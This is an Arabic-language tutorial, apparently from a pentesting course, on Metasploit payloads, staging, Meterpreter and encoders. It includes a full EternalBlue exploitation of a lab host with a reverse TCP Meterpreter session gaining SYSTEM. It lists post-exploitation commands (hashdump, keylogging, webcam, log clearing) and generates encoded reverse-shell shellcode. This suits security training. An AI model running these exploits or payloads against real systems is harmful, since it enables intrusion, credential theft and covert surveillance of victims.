4 IE 8 on Windows Vista
5 IE 8 on Windows 7
6 IE 9 on Windows 7
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6
target => 6الـ targets بتختلف كتير: service pack، نسخة النظام، وحتى لغة النظام. كله بيعتمد على الـ return address وباقي الـ parameters في الـ target أو في الـ module.
الـ return address بيتغير لأن language pack معين بيغير العناوين، أو نسخة سوفتوير مختلفة، أو العناوين اتزحزحت بسبب hooks. الشكل ممكن يكون jmp esp، أو jump لـ register معين، أو pop/pop/ret. تعليقات الكود جوه الـ module بتوريك الـ target متعرف بإيه.
msfpescan تلاقي return address مناسب.الـ Payload module بيساعد الـ exploit module إنه يرجع shell للمهاجم. الـ payload بيتبعت مع الـ exploit نفسه عشان يتخطى الإجراءات الطبيعية للخدمة الضعيفة (شغل الـ exploit)، وبعدها يشتغل على نظام الهدف ويرجع reverse connection ويأسس foothold (شغل الـ payload).
فيه 3 أنواع payload modules في الإطار: Singles وStagers وStages. والتقسيم ده بيديك مرونة في تنفيذ مهام معينة. لو الـ payload staged، بيبان من الشرطة المائلة / في الاسم:
windows/shell_bind_tcp = single، من غير stage.windows/shell/bind_tcp = stager (bind_tcp) + stage (shell).الـ Single فيه الـ exploit وكل الـ shellcode للمهمة في كتلة واحدة. الـ inline payloads مستقرة أكتر بطبيعتها لأنها all-in-one، بس بعض الـ exploits مش بتتحمل حجمها الكبير. هي self-contained: الحاجة الوحيدة اللي بتتبعت وتتنفذ على الهدف، وبتديك النتيجة فورا. ممكن تكون بسيطة زي إضافة user أو تشغيل process.
الـ Stager بيشتغل مع الـ Stage: بيفتح اتصال شبكة بين المهاجم والضحية، ومصمم يكون صغير وموثوق. Metasploit بيستخدم أفضل واحد، وبيرجع لواحد أقل تفضيلا لو لازم.
VirtualAlloc).الـ Stages هي المكونات اللي بينزلها الـ stager، وبتديك مزايا متقدمة من غير حدود حجم: Meterpreter، VNC Injection، وغيرها. الـ stages بتستخدم middle stagers أوتوماتيك:
recv() واحدة بتفشل مع الـ payloads الكبيرة.الـ staged payload عملية exploitation مودولارية: الوظايف متقسمة على كتل كود، كل واحدة بتعمل هدفها لوحدها وبتترابط مع التانية، وفي الآخر بتديك وصول للنظام لو كل المراحل نجحت.
وغير الوصول، هدف الـ payload إنه يبقى مضغوط وغير ملحوظ قدر الإمكان عشان يساعد في evasion من الـ AV والـ IPS.
Stage0 هو الـ shellcode الأول اللي بيتبعت على الشبكة للخدمة الضعيفة، وغرضه الوحيد إنه يفتح اتصال راجع لجهاز المهاجم (reverse connection). أسماؤه المعروفة: reverse_tcp وreverse_https وbind_tcp. في show payloads بتلاقي شكلهم كده:
msf6 > show payloads
<SNIP>
535 windows/x64/meterpreter/bind_ipv6_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager
536 windows/x64/meterpreter/bind_ipv6_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager with UUID Support
537 windows/x64/meterpreter/bind_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind Named Pipe Stager
538 windows/x64/meterpreter/bind_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind TCP Stager
539 windows/x64/meterpreter/bind_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager (RC4 Stage Encryption, Metasm)
540 windows/x64/meterpreter/bind_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager with UUID Support (Windows x64)
541 windows/x64/meterpreter/reverse_http
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)542 windows/x64/meterpreter/reverse_https
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
543 windows/x64/meterpreter/reverse_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse Named Pipe (SMB) Stager
544 windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
545 windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
546 windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
547 windows/x64/meterpreter/reverse_winhttp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (winhttp)
548 windows/x64/meterpreter/reverse_winhttps
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTPS Stager (winhttp)
<SNIP>الاتصالات الراجعة أقل احتمالا إنها تثير أنظمة المنع، لأن اللي بيفتح الاتصال هو الضحية، واللي غالبا جوه security trust zone. بس السياسة دي مش بتتبع بشكل أعمى من أجهزة الشبكة والأفراد، فلازم تتحرك بحرص.
كود Stage0 كمان بيقرأ payload أكبر في الذاكرة لما يوصل. بعد ما القناة تستقر بين المهاجم والضحية، بيتبعت stage أكبر (Stage1) بيديك shell access.
Meterpreter نوع خاص من الـ payloads متعدد الوجوه: بيستخدم DLL injection عشان يخلي الاتصال بالضحية مستقر، وصعب يتكشف بالفحوصات البسيطة، وبيستمر بعد إعادة التشغيل وتغييرات النظام. بيعيش كله في ذاكرة الجهاز البعيد ومش بيسيب traces على الهارد، وده بيصعب كشفه بالطرق الجنائية التقليدية. كمان السكربتات والـ plugins بتتحمل وتتشال ديناميكيا وقت الحاجة.
أول ما الـ payload يتنفذ، بتتعمل session جديدة وتفتح واجهة Meterpreter: شبه msfconsole، بس كل الأوامر موجهة لنظام الهدف المصاب. فيه أوامر كتير: keystroke capture، جمع password hashes، تشغيل المايك، screenshots، وانتحال process security tokens. وتقدر تحمل plugins مساعدة.
قبل ما تختار أول payload، حدد انت عايز تعمل إيه على الهدف. لو الهدف access persistence، غالبا هتختار Meterpreter: وظائفه الأساسية واسعة، وبتقدر تأتمت أجزاء من الشغل مع plugins زي Mimikatz بتاع GentilKiwi، وانت محافظ على assessment منظم وموفر للوقت.
عشان تشوف كل الـ payloads المتاحة:
msf6 > show payloads
Payloads
========
# Name Disclosure
Date Rank Check Description
- ---- ---------------
---- ----- -----------
0 aix/ppc/shell_bind_tcp
manual No AIX Command Shell, Bind TCP Inline
1 aix/ppc/shell_find_port
manual No AIX Command Shell, Find Port Inline
2 aix/ppc/shell_interact
manual No AIX execve Shell for inetd
3 aix/ppc/shell_reverse_tcp
manual No AIX Command Shell, Reverse TCP Inline
4 android/meterpreter/reverse_http
manual No Android Meterpreter, Android Reverse HTTP Stager
5 android/meterpreter/reverse_https
manual No Android Meterpreter, Android Reverse HTTPS Stager
6 android/meterpreter/reverse_tcp
manual No Android Meterpreter, Android Reverse TCP Stager 7 android/meterpreter_reverse_http
manual No Android Meterpreter Shell, Reverse HTTP Inline
8 android/meterpreter_reverse_https
manual No Android Meterpreter Shell, Reverse HTTPS Inline
9 android/meterpreter_reverse_tcp
manual No Android Meterpreter Shell, Reverse TCP Inline
10 android/shell/reverse_http
manual No Command Shell, Android Reverse HTTP Stager
11 android/shell/reverse_https
manual No Command Shell, Android Reverse HTTPS Stager
12 android/shell/reverse_tcp
manual No Command Shell, Android Reverse TCP Stager
13 apple_ios/aarch64/meterpreter_reverse_http
manual No Apple_iOS Meterpreter, Reverse HTTP Inline
<SNIP>
557 windows/x64/vncinject/reverse_tcp
manual No Windows x64 VNC Server (Reflective Injection), Windows x64
Reverse TCP Stager
558 windows/x64/vncinject/reverse_tcp_rc4
manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
559 windows/x64/vncinject/reverse_tcp_uuid
manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP
Stager with UUID Support (Windows x64)
560 windows/x64/vncinject/reverse_winhttp
manual No Windows x64 VNC Server (Reflective Injection), Windows x64
Reverse HTTP Stager (winhttp)
561 windows/x64/vncinject/reverse_winhttps
manual No Windows x64 VNC Server (Reflective Injection), Windows x64
Reverse HTTPS Stager (winhttp) 515 windows/x64/meterpreter/bind_ipv6_tcp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager
516 windows/x64/meterpreter/bind_ipv6_tcp_uuid
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager with UUID Support 517 windows/x64/meterpreter/bind_named_pipe
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind Named Pipe Stager
518 windows/x64/meterpreter/bind_tcp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind TCP Stager
519 windows/x64/meterpreter/bind_tcp_rc4
manual No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager (RC4 Stage Encryption, Metasm)
520 windows/x64/meterpreter/bind_tcp_uuid
manual No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager with UUID Support (Windows x64)
521 windows/x64/meterpreter/reverse_http
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
522 windows/x64/meterpreter/reverse_https
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
523 windows/x64/meterpreter/reverse_named_pipe
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse Named Pipe (SMB) Stager
524 windows/x64/meterpreter/reverse_tcp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
525 windows/x64/meterpreter/reverse_tcp_rc4
manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
526 windows/x64/meterpreter/reverse_tcp_uuid
manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
527 windows/x64/meterpreter/reverse_winhttp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (winhttp)
528 windows/x64/meterpreter/reverse_winhttps
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTPS Stager (winhttp)
529 windows/x64/meterpreter_bind_named_pipe
manual No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
530 windows/x64/meterpreter_bind_tcp
manual No Windows Meterpreter Shell, Bind TCP Inline (x64)
531 windows/x64/meterpreter_reverse_http
manual No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
532 windows/x64/meterpreter_reverse_https
manual No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
533 windows/x64/meterpreter_reverse_ipv6_tcp
manual No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
534 windows/x64/meterpreter_reverse_tcp
manual No Windows Meterpreter Shell, Reverse TCP Inline x64القايمة طويلة. هنستخدم نفس الهدف السابق، وبدل الـ payload الافتراضي (reverse_tcp_shell بسيط)، هنستخدم Meterpreter Payload for Windows 7 (x64).
لأن اللف في القايمة بيضيع وقت، استخدم grep جوه msfconsole لفلترة كلمة معينة. الشكل: grep ثم الباراميتر، وبعدها الأمر اللي عايز تفلتر فيه. مثال: عايز TCP reverse shell بـ Meterpreter:
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show
payloads
6 payload/windows/x64/meterpreter/bind_ipv6_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm) 17 payload/windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTPS Stager (winhttp)
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter show
payloads
[*] 14النتيجة 14 payload. نضيف grep تاني لـ reverse_tcp:
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep
reverse_tcp show payloads
15 payload/windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter grep
reverse_tcp show payloads
[*] 3وبكده قللنا القايمة لقليل. الـ grep بيشتغل مع أي أمر تاني في الـ console.
زي الـ modules بالظبط: محتاج الـ index number. لتحديد الـ payload للـ module المختار، استخدم set payload <no.>، وده بعد ما تكون مختار exploit module أصلا.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain
to use for authentication
SMBPass no (Optional) The password for
the specified username
SMBUser no (Optional) The username to
authenticate as
VERIFY_ARCH true yes Check if remote architecture
matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches
exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep
reverse_tcp show payloads
15 payload/windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15payload => windows/x64/meterpreter/reverse_tcpبعد اختيار الـ payload بيظهر options زيادة:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain
to use for authentication
SMBPass no (Optional) The password for
the specified username
SMBUser no (Optional) The username to
authenticate as
VERIFY_ARCH true yes Check if remote architecture
matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches
exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packsلاحظ إن show payloads جوه الـ exploit module بيكتشف إن الهدف Windows، فبيعرض بس الـ payloads الخاصة بـ Windows. وظهر field جديد للـ payload parameters، وأهمهم LHOST وLPORT (IP المهاجم والبورت اللي الاتصال الراجع هيرجع عليه). ولو الهجوم فشل، جرب بورت تاني وأعد التشغيل.
دلوقتي نضبط باراميترات الـ exploit والـ payload:
| Parameter | Description |
|---|---|
| RHOSTS | The IP address of the remote host, the target machine. |
| RPORT | No change needed, just check we are on port 445 where SMB runs. |
| Parameter | Description |
|---|---|
| LHOST | The host's IP address, the attacker's machine. |
| LPORT | No change needed, just check the port is not already in use. |
لو عايز تعرف الـ LHOST بسرعة، نادي ifconfig من منيو msfconsole مباشرة:
msf6 exploit(**windows/smb/ms17_010_eternalblue**) > ifconfig
**[\*]** exec: ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
<SNIP>
inet 10.10.14.15 netmask 255.255.254.0 destination 10.10.14.15
<SNIP>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15
LHOST => 10.10.14.15
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40RHOSTS => 10.10.10.40بعدين نشغل الـ exploit ونشوف بيرجع إيه:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! -
Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB
reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f
66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53
65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31
ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by
DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent
to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158)
at 2020-08-14 11:25:32 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMالـ prompt مش Windows، ده prompt Meterpreter. أمر whoami بتاع Windows مش شغال هنا؛ البديل getuid. وhelp بيوريك قدرات الـ payload:
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a
background thread
channel Displays information or control active
channels
close Closes a channel
disable_unicode_encoding Disables encoding of Unicode strings
enable_unicode_encoding Enables encoding of Unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
IRB Open an interactive Ruby shell on the
current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to
the session
migrate Migrate the server to another process
pivot Manage pivot listeners pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the
session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-
establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Strap: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
LCD Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
PWD Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Strap: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
get proxy Display the current proxy configuration ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of hostnames on the target
route View and modify the routing table
Strap: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the
current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target
process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Strap: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idle time Returns the number of seconds the remote user has been
idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes mouse Send mouse events
screenshare Watch the remote user's desktop in real-time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Strap: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
get system Attempt to elevate your privilege to that of the local
system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestamp Commands
========================
Command Description
------- -----------
timestamp Manipulate file MACE attributesمن استخراج user hashes من SAM لـ screenshots وتشغيل الويبكام، كله من command line بستايل Linux. وفيه كمان خيار تفتح shell channel يوديك لـ CLI بتاع Windows نفسه:
meterpreter > cd Users
meterpreter > ls
Listing: C:\Users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 8192 dir 2017-07-21 06:56:23 +0000 Administrator
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 All Users
40555/r-xr-xr-x 8192 dir 2009-07-14 03:20:08 +0000 Default
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 Default User
40555/r-xr-xr-x 4096 dir 2009-07-14 03:20:08 +0000 Public
100666/rw-rw-rw- 174 fil 2009-07-14 04:54:24 +0000 desktop.ini
40777/rwxrwxrwx 8192 dir 2017-07-14 13:45:33 +0000 haris
meterpreter > shell
Process 2664 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users>Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is A0EF-1911
Directory of C:\Users
21/07/2017 07:56 <DIR> .
21/07/2017 07:56 <DIR> ..
21/07/2017 07:56 <DIR> Administrator
14/07/2017 14:45 <DIR> haris
12/04/2011 08:51 <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 15,738,978,304 bytes free
C:\Users>whoami
whoami
nt authority\systemاتعمل Channel 1 ودخلنا على CLI الجهاز. الـ channel هنا هو الاتصال بين جهازك والهدف، اللي اتعمل بـ reverse TCP connection (من الهدف عليك) باستخدام Meterpreter Stager وStage: الـ stager اشتغل على جهازك مستني طلب اتصال من الـ Stage payload على الهدف.
الدخول على shell عادي مفيد في حالات، بس Meterpreter كمان بيتنقل وينفذ على الجهاز. الأوامر بتتغير، لكن نفس مستوى الـ privileges جوه النظام.
show payloads جوه module = القايمة مفلترة تلقائيا على نظام الهدف. set payload <no.> بيختار، وبعده LHOST/LPORT بس اللي عادة محتاجين تعديل.
أشهر الـ payloads لأنظمة Windows ووصفها:
| Payload | Description |
|---|---|
generic/custom | Generic listener, multi-use |
generic/shell_bind_tcp | Generic listener, normal shell, TCP connection binding |
generic/shell_reverse_tcp | Generic listener, normal shell, reverse TCP connection |
windows/x64/exec | Executes an arbitrary command (Windows x64) |
windows/x64/loadlibrary | Loads an arbitrary x64 library path |
windows/x64/messagebox | Spawns a dialog via MessageBox with custom title, text & icon |
windows/x64/shell_reverse_tcp | Normal shell, single payload, reverse TCP connection |
windows/x64/shell/reverse_tcp | Normal shell, stager + stage, reverse TCP connection |
windows/x64/shell/bind_ipv6_tcp | Normal shell, stager + stage, IPv6 Bind TCP stager |
windows/x64/meterpreter/$ | Meterpreter payload + varieties above |
windows/x64/powershell/$ | Interactive PowerShell sessions + varieties above |
windows/x64/vncinject/$ | VNC Server (Reflective Injection) + varieties above |
فيه كمان payloads مهمة بيستخدمها الـ pentesters كتير: Empire وCobalt Strike (بره نطاق الكورس، بس مفيدة للبحث). وفيه payloads لأجهزة معينة زي Cisco وApple وPLCs، وفيه اللي بتصنعه انت بـ msfvenom.
على مدى 15 سنة، الـ Encoders ساعدت في خلي الـ payloads متوافقة مع معماريات processors مختلفة، وفي نفس الوقت ساعدت في الـ antivirus evasion. دورها إنها تغير الـ payload عشان يشتغل على أنظمة ومعماريات مختلفة:
x64
x86
sparc
ppc
mipsكمان بتحتاجها عشان تشيل bad characters (hexadecimal opcodes) من الـ payload. والتشفير بصيغ مختلفة بيساعد في تجنب كشف الـ AV. بس فايدة الـ encoders للـ AV evasion قلت مع الوقت، لأن مصنعي الـ IPS/IDS طوروا تعاملهم مع توقيعات المالوير.
Shikata Ga Nai (SGN) من أشهر أنظمة التشفير لحد اليوم، لأنه صعب الكشف جدا - بس الـ payloads المشفرة بيه مش بقت غير قابلة للكشف بشكل عام، بالعكس. الاسم ياباني (仕方がない) ومعناه "مفيش حاجة تتعمل".
قبل 2015 كان فيه submodules منفصلة للـ payloads والـ encoders، بره سكربت msfconsole، اسمها msfpayload وmsfencode، ومكانها /usr/share/framework2/. كنت تصنع الـ payload بـ msfpayload، وبعدين تشفره بـ msfencode حسب معمارية الهدف، وتوصلهم بـ pipe:
msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R |
msfencode -b '\x00' -f perl -e x86/shikata_ga_nai
[*] x86/shikata_ga_nai succeeded with size 1636 (iteration=1)
my $buf =
"\xbe\x7b\xe6\xcd\x7c\xd9\xf6\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\x66\xb9\x92\x01\x31\x70\x17\x83\xc0\x04\x03\x70\x13\xe2" .
"\x8e\xc9\xe7\x76\x50\x3c\xd8\xf1\xf9\x2e\x7c\x91\x8e\xdd" .
"\x53\x1e\x18\x47\xc0\x8c\x87\xf5\x7d\x3b\x52\x88\x0e\xa6" .
"\xc3\x18\x92\x58\xdb\xcd\x74\xaa\x2a\x3a\x55\xae\x35\x36" .
"\xf0\x5d\xcf\x96\xd0\x81\xa7\xa2\x50\xb2\x0d\x64\xb6\x45" .
"\x06\x0d\xe6\xc4\x8d\x85\x97\x65\x3d\x0a\x37\xe3\xc9\xfc" .
"\xa4\x9c\x5c\x0b\x0b\x49\xbe\x5d\x0e\xdf\xfc\x2e\xc3\x9a" .
"\x3d\xd7\x82\x48\x4e\x72\x69\xb1\xfc\x34\x3e\xe2\xa8\xf9" .
"\xf1\x36\x67\x2c\xc2\x18\xb7\x1e\x13\x49\x97\x12\x03\xde" .
"\x85\xfe\x9e\xd4\x1d\xcb\xd4\x38\x7d\x39\x35\x6b\x5d\x6f" .
"\x50\x1d\xf8\xfd\xe9\x84\x41\x6d\x60\x29\x20\x12\x08\xe7" .
